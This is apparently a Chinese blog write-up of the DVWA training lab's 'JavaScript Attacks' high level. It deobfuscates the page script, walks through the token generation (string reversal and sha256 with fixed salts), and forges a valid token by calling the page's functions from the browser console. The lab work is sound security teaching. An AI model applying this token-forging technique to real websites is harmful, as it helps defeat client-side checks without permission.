跟进 high.js 会发现代码明显被混淆了,这个在实战中也经常遇到,使用在线工具进行解码:Deobfuscate Javascript - Deobfuscate malicious Javascripts for quick and easy analysis

重点看解密后的下面代码:

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
实际上 DVWA 源码里面也提供了解密后的代码 high_unobfuscated.js

几个函数调用顺序及生成token的步骤如下:

首先将 phrase 的值初始化为空

document.getElementById("phrase").value = "";

然后执行:

token_part_1("ABCD", 44);

代码如下:

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

此时会调用 do_something 函数:

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

do_something 负责将 e 参数进行逆序。

延迟 300ms 后会自动 执行:

token_part_2("XX")

主要功能如下:

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

即生成 XX 的 sha256 值 然后复制给 token:

ecc76c19c9f3c5108773d6c3a18a6c25c9bf1131c4e250b71213274e3b2b5d08

接着当我们点击提交的时候,就会触发 click 事件:

document.getElementById("send").addEventListener("click", token_part_3);

然后调用 token_part_3 函数:

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

所以我们可以在输入框输入success后,再到控制台输入token_part_1("ABCD", 44)token_part_2("XX")这两个函数,然后点击提交。

Impossible

You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

你不可能相信任何来自用户的东西,也不可能阻止他们破坏它,所以不存在不可能的关卡。

参考资料

FreeBuf lonehand DVWA
DarkLess DVWA 标签
JOJO的奇妙代码 DVWA CSP
Content Security Policy 入门教程
热爱网络安全的小菜狗:DVWA–CSP Bypass
JavaScript Attacks - Ethical hacking and penetration testing
DVWA之JavaScript攻击)
国光

Last modification:March 9, 2021
如果觉得我的文章对你有用,请随意赞赏